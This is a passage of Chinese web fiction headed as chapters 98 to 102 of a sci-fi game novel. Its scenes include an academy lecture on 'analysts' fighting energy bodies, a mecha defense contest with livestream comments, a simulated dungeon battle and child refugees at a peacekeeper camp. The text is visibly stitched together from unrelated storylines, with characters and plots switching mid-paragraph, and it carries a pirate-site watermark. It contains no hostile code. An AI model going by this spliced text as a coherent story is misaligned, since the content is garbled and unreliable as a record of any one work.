“我不是逃兵！是你——是你们污蔑我！是你们背叛我！是你们没有相信我！” 第 98 章 第 98 章 密匙玩家被徐万念疯狂自爆身份的话，惊愕到险些脱手，差点让这只横冲直撞的疯犬脱离禁锢。 “冷静一点！” 人在崩溃边缘的时候，潜力总会无限度放大。 密匙玩家又不太敢用过重的手段，毕竟这只是一名新晋玩家，只能硬生生用蛮力控制徐万念无差别的攻击。 “杜长官！别愣在原地！你带着其他新晋玩家快点离开！”密匙玩家大声提醒道。 她这时候算是看出来了，【一夕】恐怕在现实中遭遇过什么不公平的待遇。 迷雾恐惧地转了转，被这团灼热的火焰烧成余烬。 前身军事爱好者加重度战争游戏狂的乔茜，深吸一口气，想要回答的时候，很是干脆的吐了一口血出来，如此一来，立刻有人上前主张要将乔茜送去治疗舱，乔茜满意的闭上了自己的眼睛，向着来人伸出了自己的手臂。 太好了，她可以回避这个问题了，反正这些基础问题，联盟的军人调查一下就能得出结论，她说得越少，对方越会顺着自己的猜测去想。 只不过，乔茜在离开帐篷的那一刻，还是听到了里面某人发出的哀嚎： “啊，我受够了这种上不如老下不如小的生活了。” 嗯，距离她参军的目标，又靠近了一步。 乔茜这一等，等了差不多一周，这段时间内，对于乔茜以及小白他们而言，可以算是最好最开心的一段时光，有吃有喝有床睡有免费医疗又很安全，偶尔还有兵哥哥和兵姐姐会过来给她们表演机甲才艺。 啊，神仙一样的地方啊。 或许是因为心情舒畅，乔茜的身体康复情况也很好，一周下来，除了偶尔活动频繁的时候，还会感受到不适，平时基本没什么问题。 “到底是孩子，康复情况也很好。”负责乔茜的主治医生说这话的时候，还揉了揉自己有些湿润的眼睛，这个孩子大概不知道，自己带的研究生在听完她说的那句“我还可以再抢救一下”之后，心理状态就有了质一样的变化，迅速成长了起来。 不过，这段时间，倒是只敢躲在暗处，悄悄的关注她，嗯，应该是对于自己之前的死亡宣判耿耿于怀吧。 “你今天还要去找罗扬么？”看到乔茜收拾好自己，又带上了一个老旧键盘之后，主治医生顺口问了一句， 罗扬，就是用电控机甲救下乔茜的那名士兵，他所在的小队，可是联盟维和部队里的尖刀小队，也是因为拥有着非常精湛的机甲操控技术，才能如此及时又迅速的救下乔茜。 顺带一提，因为这次的救援，他还有他所在的小队，都被部队授予了三等功。 因为最近的战事，军部暂时没有处置这群孩子，亦或者是觉得这群孩子还能再观察观察，所以干脆就留下了她们，倒是让这群孩子乐坏了，也把战事中的士兵们乐坏了。 主要是……乔茜和小白的功劳。 这两“吉祥物”，走哪支小队就能给哪支小队带去欢乐，乔茜还好，基本只霍霍尖刀小队，小白可是能霍霍的，都去霍霍。 星际联盟十六区维和部队特种尖刀小队的电控机甲手罗扬发现自己最近多了一条小尾巴，只要他出任务回来，总能看见对方站在军营门口朝着他热情的挥手。 他看了眼自己的队友，队长项俞生表示，这不挺好，他这把年纪，也算是无痛有了个娃。 由于废墟区的孩子，都是这支尖刀小队的人救下的，所以项俞生年纪轻轻，就在队伍里有了一个新的绰号：保姆队长，一时间，都从杀气腾腾变得异常亲民了起来。 军部的指挥官们在得知这个称号之后，一边笑一边鼓励项俞生多多保持，争取今年相亲的时候，能有个结果。 罗扬从他们集体乘坐的防爆车上下来，朝着乔茜招了招手，乔茜迈着自己的小短腿跑了过去的同时，还将一袋自己从医生那里顺出来的营养液交到了他们的手上。 “辛苦啦。”无论何时，乔茜脸上总会挂着笑，与小白那心事重重的模样，完全不一致。 “我听说，你想学罗扬的电控机甲？”项俞生这两天已经看到了医生给乔茜做的有关于电控机甲的基础测试，完成率，很糟糕。 项俞生蹲下身，再次告诉乔茜，电控机甲这个领域，那是两极分化非常严重的领域，能行的是真的牛，可不行的，也是真不行，一句话，要么吊打对面，要么被对面吊打，没有中间情况。 乔茜一看就是指挥系的人，指挥系向来学习的机甲都是传感机甲，可她偏偏想要专攻电控机甲。 小白一看就是电控机甲的人，可他偏偏想要学传感机甲，还励志，要在队伍里做前锋。 都特么滚犊子吧，和自己的天赋对着干的两个逆子！ “我的测试水平有提升。”乔茜递出了自己的测试水平图，上面显示了乔茜的提升情况，以及乔茜这段时间的训练量，十二个小时，这还是在乔茜会被强制送进医疗舱的情况下。 要知道，就算是他们平时休假，玩游戏，玩八个小时，也基本封顶啦，就算是罗扬去训练，训练时间，十个小时，教官都要直夸罗扬勤奋，乔茜这是在练什么，强制自己的天赋开花么？ “你听我说，人生有些事情，是强求不得的。”项俞生面对着乔茜那笑眯眯一脸希望的眼睛，瞬间感觉自己这么残忍的话说不出口，于是，他郑重的将乔茜交到了罗扬的手上。 罗扬叹了口气，认命的牵起乔茜，拉着她往食堂走去，就算想要学习，那也得吃饱饭吧。 一进食堂，罗扬就听到了那熟悉的嘲讽声： “听说你今天跑步居然输给了小白那孩子，唉，还自诩自己是老兵。” “上不如老，下不如小，这日子，真特么刺激。” “那孩子，脑子有坑吧，追了我三条街，三条街啊，不答应和他比一场，他就这么狠的吗？” “我都感觉他不用上高中了，高中里论打架绝对没人比他狠。” “好好的孩子，学什么传感机甲？” “就是，他要学电控的话，就不会追在我们身后求虐了。” 看到罗扬身边文文静静可可爱爱的乔茜，众人又是齐刷刷一声叹气，心心念念的小妹妹没了，想像中带着小妹妹训练的美好景象也没了，全给罗扬这个兔崽子带了，一时间，众人投向罗扬的表情都不太好。 罗扬却心里苦，他们都被小白追得紧，但好歹小白还有个目标分配，眼下，乔茜是只追着他加练啊。 这直接导致他每次出任务回来，还得花上一段时间给乔茜辅导，看着乔茜每次都出来接他，倒是真有种……在部队里安了家的感觉。 “姐姐。”之前雨天依偎在乔茜身边的两个小孩子，如今倒是很机智的跟在了军队大厨的身后，充分发挥了什么叫有奶就是娘的精神，乔茜毫不怀疑这两孩子以后参军，那肯定会首选炊事班。 “罗扬，出任务，速度。” 还不等罗扬落座三秒，就有人匆匆忙忙过来喊，罗扬下意识扔了手里的食盘就朝外面跑，但让他意外的是，乔茜也追到了他的身后，匆忙要将手里的糖果递给他。 那一瞬间，罗扬心里很暖，他转身接过糖果后，见小白也来了，就把乔茜交到了小白的手上。 等到人跑远，小白才对着乔茜说了一句：“我学传感机甲，以后，就可以作为前锋挡在你前面。” “猜到了。”乔茜说完这句话，转头看向了小白：“我学电控机甲，以后，哪怕我是指挥，也可以用电控机甲掩护你们撤退。” 犹疑之下，徐万念难得说了完整的字词。 秦淮月闻言，笑容忽然带着几分狡黠：“这的确说不准，只能靠你自己努力了。” 【三位玩家，竞技场的使用时间已至极限，倒计时一分钟。】 在竞技场湮灭之前，秦淮月的声音又再次响起，落入徐万念的脑海中，像是刻下烙印一样。 “既然你无法轻易相信普通的眼睛，也不愿意服从他们的命令。” “那就去相信【白乌鸦】。” 第 99 章 第 99 章 巨象离‘城墙’越来越近。 方羲抬了抬眼皮，忽然感觉异端的侵染力变强了。 伸出手，在虚空中抓了一把，一条条恶心的长条虫子，在她手心蠕动。 花瓣绽放的声音，枪炮轰击的声音，玩家们高声回应命令的声音，还有大地被巨象踩踏、被掀起一轮又一轮震荡的声音。 方羲这才艰难地从角落里站起来，走到碉堡边上，整个人懒懒散散地趴在栏杆上，瞥了一眼下方。 方羲呆滞的余光，看到周围一排排的人，整齐划一的低头。 而此时，当她反应过来，准备跟随大流躲开老师逡巡的目光时。 杨琴鹤注意到人群里，仰着头的陌生面孔。 虽然对方双眼无神，看上去有几分呆气，但久久没有见过学生认真的目光的杨老师，有几分欣慰的颔首。 看见他脸上带着淡笑，一股凉意自方羲背后起。 大事不妙，方羲暗想。 被！盯！上！了！ 果不其然。 “倒数第二排右侧，黑色短发女同学”，杨琴鹤抬了抬手，示意方羲。 方羲僵着脖颈，她能感觉到周围的目光全部聚焦在她身上，甚至隐隐有些感激涕零。 方羲手扶在桌面，缓缓站起来。 杨琴鹤看了眼她，问道：“精神觉醒了没有？” 方羲讶异的抬眉。短发女人并不生气，还是笑眯眯的道：“哎呀，那往后看看嘛。” 等方羲认真完，她还友情提醒对方：“小同学，我看你的信息绑定了跃迁航班，最早的一趟在后天哦，错过就要再等一周了。” 方羲还没来得及看航班信息，经她提醒，才意识到这一点，不禁感谢的点了点头：“谢谢您。” 短发女人笑眯眯的送走她，临走时还往她手上塞了三支军用营养液，“拿着吧，你得多吃点，像你这个重量，我一根指头都能拎起来。” 方羲知道她说的不是夸张，星际人的进化有些超乎她的想象，她们都长的很高，方羲在废土出类拔萃的身高在这里堪堪到平均线，力气也超乎寻常的大，方羲见过一个边境军一手一个人，肩上还扛着两个，像背米袋那样把人从废墟里带出来。 出了办理处，方羲看着营养液，脑子不由得想到了维修店旁边的那对母子，也不知道她们怎么样了。 能量体轻而易举的降临，顷刻间，就摧毁了数不清的家庭和生命。 他们和异种真是如出一辙的相似，都是如此让人厌恶。 众所周知，分析师一定要是觉醒者。 她愣了一下，但看见对方包容的目光，真诚的缓缓摇头：“没有……” 杨琴鹤了然的点了点头，低头看了眼替课信息，随口问道：“既然这样，那就不要求你演示了，考一个简单的吧。” 看见对方是个新生，还是其他系的新生，杨琴鹤思索几秒，提出一个对军校生来说，特别是单兵系的学生，耳熟能详的问题。 “在你看来，分析师在能量场，需要完成哪些任务，才能保证队友在和能量体的作战中，更加安全？” 方羲才刚了解分析师，哪里知道分析师要做什么，她在看到全息影像亮起的上一秒，甚至不知道这是二年级的课。 她沉默的时间有点久，周围的学生都小声议论起来。 坐在方羲前排的一个女生，用手捂着嘴唇，小声的提醒她：“能量晶……位置……” 方羲扫过她，认真的思索一秒，抬头回答：“只要保证我的队友足够安全吗？” 杨琴鹤点头：“对，哪些方法能够让战斗更安全？” “很简单”，她抬眸，眉宇冷厉，和她瘦削的面容格外不相称。 但此刻，无人能直视她的眼神，因为内里有潜藏着的，浓郁的杀意。 “找到能量晶的位置，把能量体都杀了。” 整个课堂突然静了下来。星际联赛的积分排名前三的军校，有资格挑选高等能量场资源，获得更多的战备。 “你这么说那运气这个东西虚无缥缈，万一哪天不灵了，那怎么办？” “那怎么办？呵！” 男人笑了一声，端起面碗喝了口热汤，“顾议长巴不得你们进不去呢，那不就顺理成章把烛荆府踢出去，安排一个近星环学院进去顶上嘛。” “咳咳”，人群中，一位老者轻咳几声，他语气淡淡，点了点几个聊上头的年轻人，“公共场合，慎言。” 他一说话，周围人都十分敬重，慢慢压低了音量，不再讨论近星环的事，专注在联赛分析上。 一月最后一天，方羲起来后，照例登录自己的星网账号。 首页最顶上的版面挂着‘星际联赛结束，各军校返航’的庆贺通讯。 她点进自己的个人账户，看到亮起的小红点，不由得弯了弯眼睛。 “亲爱的方羲同学，恭喜您通过入学考核，成为星际联盟第四星环第七学院的一员，请于教务处领取您的学生卡，完成入学流程。” 学生们抬眸看了一眼杨琴鹤的脸色。 杨老师狠狠眨了几下眼睛，不可置信道：“抱歉，我可能年纪大了，没有听清，你刚才说什么？” 方羲一本正经的认真的重复：“我说，把能量体，都杀了。” “噗——” “哈哈哈哈哈哈抱歉我实在没忍住。” “不好意思同学，我不是针对你，我第一次听到这么嚣张的答案。” 有学生直接喷笑出来，原本还顾念课堂氛围的其他学生被带动，也忍不住笑出了声。 整个课堂哄笑成一团，只有方羲疑惑不解的歪了歪头。 有什么问题呢？ 把敌人都杀了，我方不就安全了？ 这很正常吧。 方羲确信的想。 杨琴鹤一只手在胸口抚了抚，他默念，这不是分析师系的学生，忍忍，忍一忍。 可这是个单兵系的学生！“您收到一条星际联盟边境军信息。” 航行的星舰中，穿着黑色长袍的老师，正在舱内的全息投影上讲解着。 “十星环索丽娜星远古山丘能量场，是星盟记载，蕴含土属性能量体最多的场，这一路上，你们一共见到过多少种能量体？” 他问道。 对面坐着数名学生，中央那人坐姿歪歪扭扭，昏昏欲睡，被旁边的男生肩膀一顶，清醒了几分。 老师不悦的皱眉，还没来得及呵斥，就听到光脑信息。 “稍等一下”，他停下查看光脑，一条紧急信息跃上屏幕。 “第九星环塔洛星出现多能量体，已形成多个能量场，均为未记录在案能量体，检测到联合学院训练航线经过附近，请配合边境军，尽快前往支援。” 青颂塔是鎏金长袍上金线绣出的标志物。 这个建筑坐落在星际军事直属第四学院边，一向是四院的代称。 老师将消息告诉学生，并欲更改航程。 刚才还昏昏欲睡的男生，坐着伸了个懒腰，语气散漫：“塔洛星？那种边缘星，连个星环军卫都没有？” “这种能量场能有什么好去的，我们青颂塔很忙的。没空，要准备联赛啊，不能换别人去吗。” 老师张合了一下嘴唇，拧眉道：“这次能量场包围了塔洛星三座大城市，均为S级及以上能量体，边境军也在赶去的路上，受困人员达万以上。” 男生不耐烦的点了点头，脸上还是一副漫不经心的神色：“知道了老师，未记录在案的S级能量晶，所以呢？青颂塔根本不缺能量晶，我们要备战星际联赛，这种事别人去不行吗。” 年轻的老师语塞。 男生语气有些冷漠，看见他的神态，微微松了一口气，他扫了眼对面的一支队伍：“哦，你们三环六院这次训练赛也没什么参与感，不如你们去，说不定还能拿到几个能量晶回来。” 三环六院的学生挨个看向自己的领队老师，真的对所谓的S级能量晶有些心动。 他们的老师看向青颂塔那位一直没有说话的领队老师，见到对方点头，于是宣布：“那我们去，现在我就申请偏航。” 说着，他带着三环六院的一群学生前往驾驶舱。 青颂塔的领队扫了眼漠然的学生和尴尬到脸红的年轻老师，突然开口，语气并不严厉：“辛焰，谨言慎行。” 男生被领队警告一句，懒散的神色微微收敛了一些，但紧接着就闭上了眼，有些烦躁的偏头，“我又没说错。” 领队老师朝年轻的老师点点头，将这件事不痛不痒的揭过。 此时，星舰上，一支队伍驾驶着小型航行舱，朝着第九星环方向跃迁。 战场上，负责保护分析师的主力单兵，竟然说，让分析师，把能量体干掉。 杨琴鹤已经很久没听过这么让人血压升高的回答了。 他清瘦的手腕颤了颤，按着戒尺，一声拍案声响起，老师沉稳的控场：“好了，安静。” “看来这位同学，对我们分析师系的了解还不够，那我就花几分钟时间，为大家回忆一下，作为分析师，在战场上，应该肩负哪些任务。” “首先，作为分析师，要以保护自己的人身安全为基础”，杨琴鹤盯着方羲，“在单兵的协助下，尽可能避免让自己陷入险境。” “廖如意，你说，为什么分析师一定要保证自身存活。” 叫廖如意的女生似乎是他的得意门生，高挑的声音很自信的回答：“因为分析师是整个队伍的眼睛，一旦分析师出局，队伍将失去对能量场的判断，随时会落入危局。” “所以，最恰当的做法是什么？你来回答，刚才的问题。” 宋白玉经常情绪外放，也总是喜欢咋咋呼呼地吐槽各种乱七八糟的事情，吐槽压榨人的工作安排，吐槽他明明都在新手指南说得一清二楚，还有新晋玩家提出类似一加一为什么等于二的疑问。 但……为了保护更多的傀儡师，为了培养更多的新生火种，为了以后能够救下更多的蚂蚁。 无数次与死神交锋的险境，忍受傀儡师轻视生命的傲慢，燃烧他这副和耗材一样的猎人身躯。 所有的一切，说太多话，发出任何一丁点委屈的呐喊，在通往人类胜利的终极之路上，也显得微不足道起来。 所以宋白玉什么也没说。 林镜子轻声道：“不过……她这种战斗方式，听上去倒是和收藏家有一点相似之处。” “像吗？” 宋白玉笑了笑，温柔地看了一眼不知道在捏什么东西的方羲，叹气一声。 然后，他吊儿郎当的声音却骤然冷了下来。 “我倒是觉得，天差地别。” 第 100 章 第 100 章 在“笔底烟花”的复刻之下，无数曾经所遇的异端，全被转化为可用的傀儡。 鱼群引导着猎人，向受伤的巨象发出最后的袭击。 不料，巨象长啸一声，却吐出数十个血团，滚落出一群新的‘小象’，仿佛还包裹着未解落的胎盘。 新晋猎人们一惊，却并未退出攻击范围，反而出手更重， 雪地裂出一个黑洞，兔子先生终于再次出现，兴趣寥寥地挥着魔杖，反复在巨象脚下劈开深渊。 假寐的首领狼也睁开眼睛，缓慢地踱步，兽瞳平静地盯着新的猎物。 在被大海染蓝的天空，忽然出现一排倒计时，像是仿真副本的结束预告，时间只剩下最后一个小时。 但巨象还在奋力挣扎，即使失去了两只前腿，象鼻也轻而易举卷起几个速度不够快的猎人，重重地抛向雪地，砸出一团惨烈的血迹。 笔底烟花神色微动，尤其看见远处那些反应不够敏捷、惊惧之下频频出错的近战猎手，脸上露出隐隐无法克制的暴躁。 为什么会频频失误？ 悬浮环不在准入赛场物品之列，没有悬浮环拿行李，工具箱就太重了。方羲也用不了那么多工具，挑出一大一小两根笔，其他全部寄存。 零食杯底只剩一点点酸甜梅粉，方羲磕了磕杯筒，就着最后一点酸甜味，灌掉一管营养液。 特意买的一管顶三天的营养液，白开水味，没有香精怪味，就着零食调味，好吃多了。 苏醒后就一直隐隐约约存在的饥饿感彻底消失，方羲捂住嘴，打了个饱嗝。 水蓝星作为星系主星，光是机甲竞技场就有十几座。举办复赛的第一竞技场，改造间比萤火星的宽阔了不少，起码不至于放了机甲、器械和材料就显得拥挤。 方羲进门时，机甲还没到，只有半透明光幕后一整面墙的材料。旁边梯子造型的机械臂已经就位，只要比赛开始，随时可以帮机甲师拿来材料。 方羲没看到摄像头，但神识确实察觉了一股无处不在的注视感。 赛前选手可以在直播平台，选择是否开启个人直播。 没法增加成绩，却能增加人气赚钱。 联邦的版权保护下，依然有人担心被学走独门技术，不开启直播。 方羲没有这个顾虑，恰恰相反，让更多人知道符箓，才是她想要的。 方羲的个人直播间刚开启，就涌入一大批观众。 [哇，原来萤火星黑马机甲师这么年轻啊，小姐姐贴贴！] [终于等到机甲大赛，好久没新鲜事看了！听说这是今年初赛创造奇迹的第一，前排打卡围观~] [话说神行千里甲马符到底是什么啊？我没搜到资料……都说没见过这种新技术，还以为不打算开播了。] [哪至于那么藏着掖着？也就是季家研发的技术被军部严格保密，小季大师在军校联赛才不参与直播。但小季大师平时会开直播讲讲要点呀。] [对了，我刚刚听说这个机甲师精神力很低，好像只有F，真的假的？] [对对对我也听说了，初赛的时候改造度0.1%，花了两天才做完！精神力低就是这点吃亏，处理时间长，高等级材料还没法处理。这次题目不知道难不难，做不完改造就糟了，紧张死了呜呜呜怎么还没刷新题目！] [来了来了，蹲一个继续创造奇迹！] 改造间大门自动在方羲身后关闭，随着走近，半透明光幕浮现一行行字迹，呆板的电子音念着上面的大赛规则和注意事项。 内容跟初赛大差不差，方羲扫了一眼，就继续看光幕后的材料了。 注意事项念完，方羲点击最下方的确认，光幕刷新，弹出复赛试题。 【第X07届机甲大赛-水蓝星系复赛第一场：防御竞技 比赛规则：复赛共三场，积分制排名，最终选取前八名选手。 本场比赛竞技展示时，将进行饱和式攻击，以改造机甲防御时间计算成绩，机甲破损度80%或能源仓损坏视为防御失败。 维持防御30秒，计算基础分10分。此后每分钟增加攻击强度，每维持一分钟防御，增加1分，维持满10分钟，将额外增加10分。 改造时间：48H 样本机甲：原野一型。 可选改造材料：[清单如下] 注意：本场复赛机甲为无人驾驶模式。】 看完题目，赛场各个改造间里一下子响起了抽气声，弹幕观众也被吓了一跳。 [万万没想到，今年复赛就要比防御了！太惨了太惨了，刚看有个选手抱头痛哭，就差直接退赛了。] [啊？不就是30秒吗，最长也才十分钟，常见的机甲哪个不是高频战斗一小时起步？这点小活就心态崩了，做什么机甲师？] [我倒是觉得，积分赛搞这么高的分数叠加，要是技术牛逼，岂不是30分到手碾压局，直接后两场不用比了？] [诶哟这不是那什么吹上天的“黑马奇迹”吗？怎么看题看这么久还没动静，别是怕了要退赛吧？] 钱佳嘉早早开了直播，和大家一起看比赛。 方羲已经接了她的改造单，算半个自己人，钱佳嘉才不会干看着她被骂。 “我就知道有人会掉进大赛委员会挖的坑……高频战斗和饱和式攻击能一样吗？就算是博物馆里已经淘汰的加特林，一分钟也有一万发了。机甲总有地方薄弱，无人驾驶模式没法闪避，只能运行固定单一指令，那不就是个靶子？” 被钱佳嘉点出题目的“险恶用心”，弹幕氛围顿时紧张起来。 [救命，已经开始头疼了……这么难的题，谁心态不崩啊？看机甲师改造有手就行，实际上哪有那么简单？] [这是水蓝星系过去的冠军去了中央星系被暴打丢人，现在要早早开始筛选手了？为这届机甲师点蜡，分数高，也得拿得到才行。] [真有人能拿到最后10分加分？我不信，能不全军覆没，都是牛逼中的牛逼了。不过技术难、比的激烈才好看，中央星系开赛前有好戏看了，迫害选手摩多摩多！] [要不怎么说难呢。估计这个方羲要凉，F级精神力本来就难，她还偏科，改造时间翻个倍还差不多。我觉得这次第一应该是浪涛星的，他们初赛场考的是负重，起码沾点边。] [她能创造奇迹，说不定还有第二次呢？] [方羲还挺沉得住气，看完题目脸都没变一下。欸你们看，她开始选材料了！] 有方羲开玩笑般的“第一”目标在前，钱佳嘉倒不像其他人一样，真信了方羲偏科。但题目确实难度高，她也说不准，方羲能改成什么样。 看方羲终于看完题目，钱佳嘉也投入了十二分的注意，提心吊胆地默默为她加油。 弹幕的怀疑和凑热闹好奇，方羲并不知晓。 她没觉得规则难，甚至找到了几分熟悉——宗门斗法比试时，也是这样加分的，水平越高越有利。 核对了改造材料和清单一致，方羲按下屏幕上的确认按钮。 地面升降台附近咔咔裂开一条缝隙，机甲缓缓升起，光幕落下，材料区域正式向选手开放。 原野一型是一台土黄色中型机甲，静静停在原地，像一座小山。 土黄色机甲胸口拼接出菱形，标示着能源仓和驾驶舱的位置。它的后背格外明显，高负重运输舱隆起，像个驼背的巨人。 “砰——” 托着机甲升起的台面停下，地面重新合拢。沉闷的碰撞声中，隐约夹杂着水声。 方羲凝目看了眼地面。大赛给选手挖坑是老传统了，正常空载机甲不可能这么沉。 神识一动，方羲就“看”到机甲背后运输舱里满载的液体。 果然。 要是机甲师按照原野一型的负重极限做防御改装，分分钟掉坑里。 好在，方羲不需要考虑改装负重。 防刀枪防水火防灾祸……防御符箓范围极大，过去为防御法器加持符箓时，方羲什么都画过。 大赛题目要求看似简单，想真做到面面俱到却不容易，但运输舱里的液体，给了方羲思路。 要比防御，有水又有高额负重……当然是玄武长寿符！ 玄武主水，主生命长寿，还有什么比它更能苟？ 方羲探出神识，确认原野一型的外甲材料性状，刚看过的可选材料飞快从脑海中闪过。 脑子里过了一遍材料的排列组合方案，方羲抽了抽嘴角，看着一整面墙的材料，无奈极了。 大赛提供的材料很多、很好，连材料商店里看都看不见的B级材料也有好几份，但…… 偏偏，没有这台机甲能用的优质符墨材料。要么效果和机甲相克，要么无法发挥完整效果。 初赛是没时间选，复赛是没得选，与其选性状相克的优质材料，不如选更合适的普通材料—— 雨光草。 方羲哭笑不得地越过众多材料，拿起角落里的瓶子，开盖，露出熟悉的银点深绿色。 看清方羲拿了什么，弹幕飞过一串“？？？” [不是？B级材料看都不看，跑去翻垃圾？真有你的，我还特意点开直播物品详情，确认了一下，这确实是雨光草那个大祸害啊……救命，拿这个干啥？？？] [一首凉凉送上，雨光草受害者名单+1] [？？？复赛了啊，还有人犯这种低级错误？] [也许可能大概，有别的用处？但仅有的几种不受雨光草活性影响搭配，不在这次提供的材料里啊。] [方羲还真开始处理雨光草提取液了，就没发现材料不对？本来F级精神力就处理不了多少材料，还要浪费在这上面，真是……我去！这是什么！好漂亮！] 灵力引导下，方羲手中深绿色符墨自动飞速旋转，点点银光有序形成漩涡，如一条银河。 巨笔如椽，稳稳点中漩涡，引着银光落在机甲背后运输舱。 玄武符，放到“龟甲”上，没毛病！ 心脏又畏惧地一跳。 明明异端庞大的身躯尽在眼前，她第一眼看见的却是，这名公民等级不过四级、居住在最偏远星系、现实中可能只不过是一个从事低贱工作的恶心玩家…… “白乌鸦”站了起来，张开那把没有丝毫设计美感、简直是随意雕刻的长弓。 一束……成千上万束光辉凭空凝现，爆发出极刺眼的光亮，仿佛把视野染成空白。 凭什么呢？ 凭什么这种人，能够毫不畏惧，衬托得她好像一个小丑呢？ 在最后三分钟里，她替这九十九名新晋玩家，将突袭的异端一击杀死。 蜗牛壳响起清晰的碎裂声。 随后是，仿真副本自动销毁，所带来的习以为常的坠落感。 解云在感受身体下坠的一刻，终于第一次清晰地、甚至是有些不情愿地接受了一个事实。 我……原来是一双会逃跑的眼睛。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 100-110 第 101 章 第 101 章 【本次大型仿真副本已结束！】 【特训奖励已发放！】 什么？居然还有奖励？！ 方羲睁开眼睛，顿时精神一振，正想打开游戏面板，看看黑天鹅究竟发放了什么东西…… 【鉴于您在本次战役中突出的表现，奖励10w新晋积分！您的新晋排名已提升！】 方羲：“……” 方羲瞪大眼睛，左看右看，喃喃：“没了？这就没了？” 暗中观察的013号系统，诡异地沉默了一下，又弹出一条新消息。 廖如意想到方羲的回答，在标准答案的末尾，又补上一句分析师最佳做法。 听得方羲一脸茫然。 都能一眼看到命门了，还得让别人动手。 当分析师还挺难受，她闷闷的想。 杨琴鹤讲完后，还特意问方羲：“现在明白了吧？” 方羲和他对视，虽然很不赞同他们的观点，但还是轻而缓的点头。 “好”，杨琴鹤拍了拍手，一边感叹这小子幸好不是分析师，一边想，要是她当分析师得多难教。 “我们继续。” “看在你刚才点了能量晶位置，这一次不扣你的学分。” 二年级的分析师课程，主要是理论和实践的结合，偶尔方羲能听到几个陌生的名词，但不耽误她能听懂大部分内容。 杨琴鹤讲课的风格并不像他本人那样板正，反而幽默风趣，配合几个边境军的事例，听得一群向往军区的学生们捧腹大笑。 方羲从他的讲述中了解到了一个陌生的领域。 直到他讲完整个能量晶分析过程，突然从空间纽扣里拿出一个盒子，黑色的金属盒子打开，一股冷寒的气息吹拂，在晴日当空的正午，让人骨缝生凉。 “这是一枚变异水属性的能量晶，市面上，一枚S级的能量晶售价才十几万，但要分析一颗S级的能量晶，得这个数”，杨琴鹤张开手掌，“五十万呐。” “我们这一行”，课程的最后几分钟，他说了几句题外话，“风险低，收益高，作为分析师，除了门槛高，没别的缺点，好好学习啊大家，以后发家致富，升级出名，就靠你们学到的知识。” 他点了点脑袋。 但这番话让下面的学生脸上，呈现出颜料打翻一样的表情。 “老师，你确定，分析师，风险低？” 前排有个学生皱着脸，充满疑惑。 其他人认同的点头：“是啊，每一次被围攻的，都是先杀分析师，就连能量体，也很容易被分析师吸引，要我说，有时候都不需要单兵用能量液吸引能量体注意，分析师往边上走两步，能量体闻着味就来了。” 顿时，课堂上的分析师预备役们，一个接一个笑出了声。 方羲看见前排叫做廖如意的女生，侧头扫了正在嬉笑的几人一眼，“没用的人才害怕，整个团队保护分析师一个人，风险难道不低，哪一次联赛，分析师不是被围在中央保护起来的，自己怂，别找理由。” 她在分析师系的威望似乎很高，刚才还大笑的学生们，顿时都正色下来，但仍然不同意另一种观点。 “我说的也是事实啊。” 杨琴鹤看着底下各异的神态，在课堂的最后几秒钟，留下了一个让人哀嚎的作业：“既然这样，那写个作业吧。” “目前星盟最近的一位，分析师转输出的选手，宋白宁，分别以两种不同的身份，经历过同一个能量场：沙之圣歌。” “以此能量场，分析一下，分析师和输出分别面临何种威胁，以及，宋白宁两次脱身的关键，分析总结不低于三千字，周三提交到我的星网通讯，记得备注姓名。” “代课的同学，备注两个姓名。” 杨琴鹤的目光扫过班级里的几名学生，方羲注意到有她，和她前排、小声提示她的那个女生。 随着他说完，下课提醒响起，戒尺一合，杨琴鹤悠闲的走出去。 分析师系的学生还没缓过来，坐在位置上哀嚎一声。 刚才还主张分析师风险高的男生，哭丧着朝自己嘴巴上拍了一巴掌：“我这个嘴，我为什么要提啊，我要是不提，我就不会有作业，我要是没有作业，我现在得是个多么开朗的小伙子。” 廖如意站起来，赶赴下一堂课，见状带着笑意提醒：“行了，杨老师的习惯就是留课后作业，没让咱们分析星际联赛五场比赛，已经是手下留情了。” “廖姐～”男生声音扭成波浪，“廖姐，菜菜，抄抄！” “出息。” 廖如意笑骂，随后便毫不留情的离开。 “够了，你恶心得我都要吐了”，男生的同伴如是道，“我得去教务办作业集汇找找，之前有没有人做过这个能量场的。” 方羲正在收拾东西，听到了这里，默默记下他说的作业集汇。 她还接了这节课的作业单。 上午还有空，为了了解情况，方羲在教务系统找到一年级分析师课程，准备去蹭蹭课。 一年级分析师课程全是基础内容，里面解释了一下方羲上一节课，不解的名词点，也没有其他作业，整体比上一节课要轻松得多。 课后，她在路上匆忙喝了管营养液，随手丢进垃圾桶里，感觉到光脑似乎有消息，顺手看了眼。 顾妗雪：出门两天，窗台上的胡萝卜苗，拜托施肥一次，感谢 方羲刚疑惑她哪里来的自己的光脑通讯，一看上方，学院频道发起聊天。 方羲后知后觉反应，昨天忘了加个通讯好友，但很快把她说的事情记在备忘里，同时回复对方，以示友好。 做完这一切，方羲怀揣着第一次做作业的忐忑和激动，奔赴图书馆。 而此刻，远在星港，即将前往跃迁点的校队四人，正专心听着领队老师的交代。 这时，顾妗雪的光脑通讯振动了几声。 她轻道一声抱歉，透过屏幕看了一眼信息。 方羲：1 顾妗雪脸上浮现一个古怪的神情。 领队老师一贯只见过她不屑，骄矜，和冷漠的神色。 第一次见她如此怪异的神色，不禁询问道：“出什么事了？” 顾妗雪摇了摇头：“没事，抱歉打扰了，您继续说吧。” 她身侧一个高个头，拽拽的粉毛男生轻哼一声，收到顾妗雪一个冷眼。 领队老师看着校队四人中，两位输出已然不合的样子，头更疼了。 九百号：“？” 九百号看着方羲的身影逐渐消散成星辰微粒……忽然想到什么，懊恼地一拍脑袋。 最后死的刚好是一对双生子，他们是同生共死的灵魂，就不需要考虑有没有后来者帮忙撕灵魂了。 一千个人的约定——这样就显得，将她排除在外了一样。 在工作台上揣手手的猫猫，震惊地看见这个愚蠢的泥土小人，挥舞着双手，拼命地抽打自己的嘴巴，嘟嚷着他这痴呆的大脑，怎么能把这种事忽略呢？ 一千零一可以给九百号撕灵魂。 那，有谁能在一千零一之后，给她收尸呢？ 第 102 章 第 102 章 方羲下了线，第一反应是给自己点了份超级无敌豪华版糖醋排骨盖饭！ 等待外卖的间隙，方羲走到一个房间门口，深吸一口气，缓缓打开门——一堆被分类完好、并且塞满得再也装不下的置物架、储物箱、收纳柜…… 这也是方羲一直没想更换出租屋，找一个条件更好的地方住的原因之一。因为东西实在太多，她懒得搬。 食人藤的枝条摇了摇，看了看方羲，隐隐有一种不详的预感。 方羲拉开收纳柜，开始翻翻找找。 